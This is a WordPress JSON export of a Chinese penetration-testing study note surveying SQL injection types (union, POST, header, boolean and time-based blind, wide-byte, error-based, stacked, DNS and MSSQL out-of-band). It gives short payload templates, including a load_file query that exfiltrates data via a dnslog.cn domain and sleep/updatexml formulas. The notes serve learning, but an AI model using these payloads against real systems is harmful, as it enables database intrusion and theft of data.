{"id":260,"date":"2021-12-03T10:59:52","date_gmt":"2021-12-03T02:59:52","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=260"},"modified":"2022-11-14T22:27:36","modified_gmt":"2022-11-14T14:27:36","slug":"allsqlinjection","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2021\/12\/03\/allsqlinjection\/","title":{"rendered":"\u6f0f\u6d1e\u4e4b\u738bSQL\u6ce8\u5165"},"content":{"rendered":"

\u6ce8\u5165\uff1a\u6838\u5fc3\u662f\u4ec0\u4e48\uff1f\u628a\u8f93\u5165\u5f53\u4f5c\u4ee3\u7801\uff0c\u53ef\u4ee5\u662furl,\u53ef\u4ee5\u662f\u8868\u5355\uff0c\u8fd8\u53ef\u4ee5\u662f\u6570\u636e\u5305\u4e2d\u7684\u4efb\u4f55\u4e00\u4e2a\u53c2\u6570<\/strong><\/p>\n

\u4ee5\u4e0b\u7686\u4ee5\u4ee5MySQL\u4e3a\u4f8b\uff0c\u5982\u6709\u7279\u4f8b\u4f1a\u6ce8\u660e\u3002<\/strong><\/p>\n

\u5982\u679c\u89c9\u5f97\u63cf\u8ff0\u7684\u8fc7\u4e8e\u7b80\u5355\uff0c\u4f1a\u6709\u8be6\u8ff0\u6587\u7ae0\u4f9b\u53c2\u8003\u3002<\/strong><\/p>\n

<\/span>\u663e\u9519\u6ce8\u5165<\/strong><\/span><\/h3>\n

\u7f51\u9875\u9875\u9762\u4e2d\u5728\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u8fc7\u7a0b\u4e2d\u4f1a\u5728\u7279\u5b9a\u4f4d\u7f6e\u663e\u793a\u6570\u636e\u5e93\u4e2d\u7684\u6570\u636e<\/p>\n

\u901a\u8fc7\u7279\u6b8a\u8bed\u53e5\u6765\u7528\u7279\u5b9a\u5b57\u7b26\u6765\u5360\u9886\u663e\u9519\u4f4d\uff0c\u5c06\u663e\u9519\u4f4d\u66ff\u6362\u4e3asql\u8bed\u53e5\uff0c\u5373\u53ef\u5f97\u5230\u6570\u636e\u5e93\u6570\u636e<\/p>\n

1.\u5224\u65ad\u662f\u5426\u5b58\u5728\u6ce8\u5165<\/p>\n

2.\u5224\u65ad\u5b57\u6bb5\u6570<\/p>\n

3.\u5224\u65ad\u663e\u9519\u4f4d<\/p>\n

4.\u5224\u65ad\u5e93\u540d<\/p>\n

5.\u5224\u65ad\u8868\u540d<\/p>\n

6.\u5224\u65ad\u5217\u540d<\/p>\n

7.\u5bfb\u627e\u5177\u4f53\u6570\u636e<\/p>\n

\u7528\u5230\u7684\u8bed\u53e5\u5173\u952e\u8bcd<\/strong><\/p>\n

order by\uff08\u6392\u5e8f\uff0c\u7528\u6765\u5224\u65ad\u5b57\u6bb5\u6570\uff09<\/p>\n

union select \uff08\u8054\u5408\u67e5\u8be2\uff0c\u7528\u6765\u67e5\u8be2\u81ea\u5df1\u60f3\u8981\u5f97\u5230\u7684\u6570\u636e\uff09<\/p>\n

database()\uff08\u53ef\u4ee5\u7528\u6765\u67e5\u8be2\u6570\u636e\u5e93\uff09<\/p>\n

limit 0,1\uff08\u9650\u5236\u8f93\u51fa\uff0c0\u8868\u793a\u4e0b\u6807\uff0c1\u8868\u793a\u6570\u91cf\uff09<\/p>\n

information_schema(mysql\u6570\u636e\u5e935.0\u53ca\u4ee5\u4e0a\u7248\u672c\uff0c\u81ea\u5e26\u6570\u636e\u5e93\uff0c\u4ed6\u8bb0\u5f55\u4e86mysql\u6570\u636e\u5e93\u4e0b\u6240\u6709\u7684\u6570\u636e\u5e93\u540d\uff0c\u8868\u540d\uff0c\u5217\u540d\u4fe1\u606f)<\/p>\n

information_schema.tables(\u8bb0\u5f55\u8868\u540d\u4fe1\u606f\u7684\u8868)<\/p>\n

information_schema.columns(\u8bb0\u5f55\u5217\u540d\u4fe1\u606f\u7684\u8868)<\/p>\n

table_name \uff08\u8868\u540d\uff09<\/p>\n

column_name \uff08\u5217\u540d\uff09<\/p>\n

table_schema \uff08\u6570\u636e\u5e93\u540d\uff09<\/p>\n

\u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/blog.csdn.net\/qq_35569814\/article\/details\/100154816<\/a><\/strong><\/p>\n

<\/span>post\u6ce8\u5165<\/strong><\/span><\/h3>\n

post\u6ce8\u5165\u5c31\u662f\u4f7f\u7528POST\u8fdb\u884c\u4f20\u53c2\u7684\u6ce8\u5165\uff0c\u672c\u8d28\u4e0a\u548cGET\u7c7b\u578b\u7684\u6ca1\u4ec0\u4e48\u533a\u522b\u3002\u53ea\u4e0d\u8fc7\u662f\u4e00\u4e2a\u5728url,\u4e00\u4e2a\u5728\u8f93\u5165\u6846\u3002\u5176\u4ed6\u7684\u6ce8\u5165\u65b9\u5f0f\u4e0e\u663e\u9519\u76f8\u5dee\u4e0d\u5927\u3002<\/p>\n

\u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/blog.csdn.net\/qq_35569814\/article\/details\/100154816<\/a><\/strong><\/p>\n

<\/span>DNS\u6ce8\u5165<\/strong><\/span><\/h3>\n

DNS\u6ce8\u5165\u7684\u539f\u7406\uff1f<\/strong><\/p>\n

\u57df\u540dDNS<\/strong>\u6307\u5411\u7684\u662f\u6211\u4eec\u670d\u52a1\u5668\u7684\u57df\u540d\uff0c\u610f\u5473\u7740\u89e3\u6790\u57df\u540d\u65f6\u9700\u5411DNS<\/strong>\u670d\u52a1\u5668\u67e5\u8be2\u3002\u901a\u8fc7\u9012\u5f52\u67e5\u8be2\u53ef\u4ee5\u83b7\u53d6\u6570\u636e\u5e93\u4e0a\u7684\u4fe1\u606f\u3002\u8981\u8bb0\u4f4f\u6574\u4e2a\u57df\u540d\u5185\u7684\u8282\u70b9\u6807\u7b7e\u88ab\u9650\u5236\u572863<\/strong>\u4e2a\u5b57\u7b26\u957f\u5ea6\u5927\u5c0f\u3002<\/p>\n

\u6ce8\u610f\uff1a<\/strong><\/p>\n

1.dns \u67e5\u8be2\u6709\u957f\u5ea6\u9650\u5236\uff0c\u6240\u4ee5\u5f53\u67e5\u8be2\u7ed3\u679c\u6570\u636e\u8fc7\u957f\u65f6\u9700\u8981\u622a\u65ad<\/strong><\/p>\n

2.\u7279\u6b8a\u7b26\u53f7\uff0c\u5982@\uff0c\u4e00\u822c\u5148\u7f16\u7801\u540e\u518d\u5e26\u51fa<\/strong><\/p>\n

\u5f31\u70b9\uff1a\u76ee\u6807\u5f97\u6709\u7f51\u7edc\uff0cwindows\u81ea\u5e26SMB,\u800cLinux\u4e0d\u81ea\u5e26<\/strong><\/p>\n

\u6838\u5fc3\uff1a\u76f2\u6ce8\u53d8\u663e\u9519<\/strong><\/p>\n

\u516c\u5f0f\uff1aload_file(concat(\u2018\/\/\u2018,(sql\u67e5\u8be2\u8bed\u53e5),\u2019.dnslog.cn\u63d0\u4f9b\u7684\u57df\u540d\/1.txt\u2019))\\<\/em><\/strong><\/p>\n

\u4f7f\u7528\u6761\u4ef6\uff1a<\/strong><\/p>\n

    \n
  1. \n

    \u6709sql\u6ce8\u5165\u70b9<\/p>\n<\/li>\n

  2. \n

    \u8be5\u7ad9\u70b9\u7684load_file\u53ef\u4ee5\u4f7f\u7528<\/p>\n

    \uff08\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/wjrblogs\/p\/14367387.html<\/a> \uff09<\/p>\n<\/li>\n<\/ol>\n

    \u5229\u7528\u4e00\u4e2a\u901a\u9053\uff0c\u628a\u67e5\u8be2\u5230\u6570\u636e\u901a\u8fc7\u901a\u9053\u5e26\u51fa\u53bb\uff0c\u8fd9\u91cc\u7684\u901a\u9053\u5305\u62ec\uff1ahttp\u8bf7\u6c42\u3001DNS\u89e3\u6790\u3001SMB\u670d\u52a1\u7b49\u5c06\u6570\u636e\u5e26\u51fa\u3002<\/strong><\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/blog.csdn.net\/qq_45300786\/article\/details\/107764907<\/a><\/strong><\/p>\n

    <\/span>\u53cd\u5f39\u6ce8\u5165<\/strong><\/span><\/h3>\n

    \u53cd\u5f39\u6ce8\u5165\u5c31\u662f\u5c31\u662f\u5c06\u5f53\u524d\u6570\u636e\u5e93\u4e2d\u7684\u67e5\u8be2\u7ed3\u679c\u53d1\u9001\u5230\u53e6\u4e00\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e2d\uff0c\u4e5f\u662f\u6570\u636e\u5e26\u5916\u7684\u4e00\u79cd\u3002<\/p>\n

    \u4f9d\u8d56\u4e8e\u51fd\u6570opendatasource<\/strong>\u7684\u652f\u6301\uff0c\u4f46\u4ec5\u9650MSSQL\u3002<\/p>\n

    mssql\u5bf9\u6570\u636e\u7c7b\u578b\u5f88\u4e25\u8c28\uff0c\u5360\u663e\u9519\u4f4d\u4e00\u822c\u7528null<\/strong><\/p>\n

    select id,name,xxx from sysobjects where xtype=\u2019U\u2019\u67e5\u8be2\u7cfb\u7edf\u8868<\/strong><\/p>\n

    select xxx from syscolumns where id=sysobjects\u5e93\u4e2d\u8868\u540d\u5bf9\u5e94id<\/strong><\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/yanlzy\/p\/11938640.html<\/a><\/strong><\/p>\n

    <\/span>header\u6ce8\u5165<\/strong><\/span><\/h3>\n

    HEAD\u6ce8\u5165\u987e\u540d\u601d\u4e49\u5c31\u662f\u5728\u4f20\u53c2\u7684\u65f6\u5019\uff0c\u5c06\u6211\u4eec\u7684\u6570\u636e\u6784\u5efa\u5728http\u5934\u90e8\u3002<\/p>\n

    head\u6ce8\u5165\u5c31\u662fhttp\u8bf7\u6c42\u5934\u4e2d\u7684\u53c2\u6570\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u5c31\u53ef\u80fd\u5b58\u5728\u6ce8\u5165\uff0c\u4f8b\u5982cookie\u6ce8\u5165\u4e5f\u662fheader\u6ce8\u5165\u7684\u4e00\u79cd,\u5e38\u89c1\u7684\u8fd8\u6709UA,Referer,XFF\u7b49\u7b49<\/strong><\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/blog.csdn.net\/qq_45300786\/article\/details\/107137042<\/a><\/strong><\/p>\n

    <\/span>\u5e03\u5c14\u76f2\u6ce8<\/strong><\/span><\/h3>\n

    \u51fd\u6570 length()\uff0c\u8fd4\u56de\u957f\u5ea6
    \nsubstr(\u622a\u53d6\u7684\u5b57\u7b26\u4e32\uff0c\u5f00\u59cb\u4f4d\uff0c\u957f\u5ea6)<\/p>\n

    \u76f2\u6ce8\u6ca1\u6709\u56de\u663e\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u51fd\u6570\u7206\u7834\u6765\u5f97\u5230\u5bf9\u5e94\u7684\u4fe1\u606f\uff0c\u4f8b\u5982\u51fd\u6570length()\u53ef\u4ee5\u5f97\u5230\u5b57\u7b26\u4e32\u957f\u5ea6\uff0c\u7136\u540e\u901a\u8fc7ascii(substr())\u622a\u53d6\u5b57\u6bb5\u7206\u7834\u6765\u5339\u914d\u5bf9\u5e94\u4f4d\u6570\u7684\u5b57\u6bcd\u7684ascii\u7801\uff0c\u901a\u8fc7ASCII\u8868 http:\/\/ascii.911cha.com\/<\/a> \u67e5\u8be2\u5bf9\u5e94\u7684\u5b57\u6bcd\u6216\u8005\u7b26\u53f7\u3002\u6e29\u99a8\u63d0\u793a\uff1aASCII\u7801\u53ef\u663e\u793a\u7684\u7f16\u53f7\u4e3a32-126<\/strong><\/p>\n

    \u601d\u8def\u603b\u7ed3\uff1a\u7206\u7834\u957f\u5ea6=>\u5206\u5272\u5b57\u6bb5=>\u7206\u7834\u5339\u914dascii\u7801=>\u5bf9\u5e94\u5f97\u5230\u5b57\u6bb5<\/strong><\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/yanlzy\/p\/11884302.html<\/a><\/strong><\/p>\n

    <\/span>\u65f6\u95f4\u76f2\u6ce8<\/strong><\/span><\/h3>\n

    \u5ef6\u65f6\u6ce8\u5165\uff1a\u987e\u540d\u601d\u4e49\uff0c\u901a\u8fc7\u65f6\u95f4\u5ef6\u65f6\u7684\u8868\u73b0\uff0c\u5373\u901a\u8fc7\u6539\u53d8\u54cd\u5e94\u65f6\u95f4\u5224\u65ad\uff0c\u5b9e\u73b0\u6ce8\u5165\uff0c\u4e5f\u53eb\u65f6\u95f4\u76f2\u6ce8\u3002<\/strong>
    \n\u6240\u7528\u51fd\u6570\uff1a
    \nsleep()
    \nif(\u6761\u4ef6\uff0c\u6761\u4ef6\u6210\u7acb\u6267\u884c\u8bed\u53e5\uff0c\u6761\u4ef6\u4e0d\u6210\u7acb\u6267\u884c\u8bed\u53e5)<\/strong><\/p>\n

    and if(\u5e03\u5c14\u76f2\u6ce8\u7684\u8bed\u53e5<\/strong>\uff0csleep(5),1)\uff0c\u4e00\u822c\u60c5\u51b5\u8fd9\u4e48\u7528\u5373\u53ef<\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/yanlzy\/p\/11884302.html<\/a><\/strong><\/p>\n

    <\/span>\u5bbd\u5b57\u8282\u6ce8\u5165<\/strong><\/span><\/h3>\n

    \u80cc\u666f\uff1aphp\u4f4e\u7248\u672c\u4f1a\u6709\u9b54\u672f\u5f15\u53f7\uff0c\u9047\u5230\u95ed\u5408\u7b26\u53f7\u4f1a\u81ea\u52a8\u6dfb\u52a0\\,\u9ad8\u7248\u672c\u662f\u4e00\u4e2a\u51fd\u6570addslashes()
    \n\u6ce8\u5165\u65b9\u6cd5\uff1a1\uff0c\u5bfb\u627e\u4e0d\u7528\u95ed\u5408 2\uff0c\u7ed5\u8fc7\u51fd\u6570\u4f5c\u7528\u57df 3\uff0c\u5bbd\u5b57\u8282\u6ce8\u5165
    \n\u5bbd\u5b57\u8282\u6ce8\u5165\u6838\u5fc3\uff1a\u901a\u8fc7\u6570\u636e\u5e93\u7f16\u7801\u7279\u6027\uff0c\u6dfb\u52a0\u7279\u6b8a\u7b26\u53f7(\u6211\u4e60\u60ef%df\u6216\u8005%dd)\u4f7f\u5f97\\\u5931\u6548\u51d1\u6210\u4e00\u4e2agbk\u5b57\u7b26\uff0c\u4ece\u800c\u7ed5\u8fc7\u7cfb\u7edf\u9047\u5230\u5f15\u53f7\u800c\u81ea\u52a8\u6dfb\u52a0\u4e00\u4e2a\\\u7684\u7279\u6027<\/strong><\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/blog.csdn.net\/heiseweiye\/article\/details\/82723478<\/a><\/strong><\/p>\n

    <\/span>\u62a5\u9519\u6ce8\u5165<\/strong><\/span><\/h3>\n

    \u5229\u7528\u4e86\u6570\u636e\u5e93\u7684\u67d0\u4e9b\u673a\u5236\uff0c\u4eba\u4e3a\u5730\u5236\u9020\u9519\u8bef\u6761\u4ef6\uff0c\u4f7f\u5f97\u67e5\u8be2\u7ed3\u679c\u80fd\u591f\u51fa\u73b0\u5728\u9519\u8bef\u4fe1\u606f\u4e2d<\/p>\n

    \u793a\u4f8b\u516c\u5f0f\uff1aand updatexml(1,concat(\u20181\u2019,sql\u8bed\u53e5),1) \u3002\u5176\u4ed6\u7684\u53ef\u4ee5\u81ea\u5df1\u641c\u96c6\u3002<\/p>\n

    \u4ec5\u4f9b\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/wocalieshenmegui\/p\/5917967.html<\/a><\/strong><\/p>\n

    <\/span>\u5806\u53e0\u6ce8\u5165<\/strong><\/span><\/h3>\n

    \u5806\u53e0\u6ce8\u5165\uff0c\u987e\u540d\u601d\u4e49\uff0c\u4e00\u5806 sql \u8bed\u53e5(\u591a\u6761)\u4e00\u8d77\u6267\u884c\u3002\u7528\u5206\u53f7\u8868\u793a\u4e0a\u4e00\u4e2a\u8bed\u53e5\u7ed3\u675f\uff0c\u6784\u9020\u65b0\u7684\u8bed\u53e5\u3002<\/p>\n

    \u5176\u4ed6\u4e0d\u518d\u7ec6\u8bf4\uff0c\u66f4\u591a\u63cf\u8ff0\u53c2\u8003\uff1ahttps:\/\/www.cnblogs.com\/backlion\/p\/9721687.html<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"

    \u6ce8\u5165\uff1a\u6838\u5fc3\u662f\u4ec0\u4e48\uff1f\u628a\u8f93\u5165\u5f53\u4f5c\u4ee3\u7801\uff0c\u53ef\u4ee5\u662furl,\u53ef\u4ee5\u662f\u8868\u5355\uff0c\u8fd8\u53ef\u4ee5\u662f\u6570\u636e\u5305\u4e2d\u7684\u4efb\u4f55\u4e00\u4e2a\u53c2\u6570 \u4ee5\u4e0b\u7686\u4ee5\u4ee5MySQ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-260","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=260"}],"version-history":[{"count":7,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/260\/revisions"}],"predecessor-version":[{"id":1065,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/260\/revisions\/1065"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}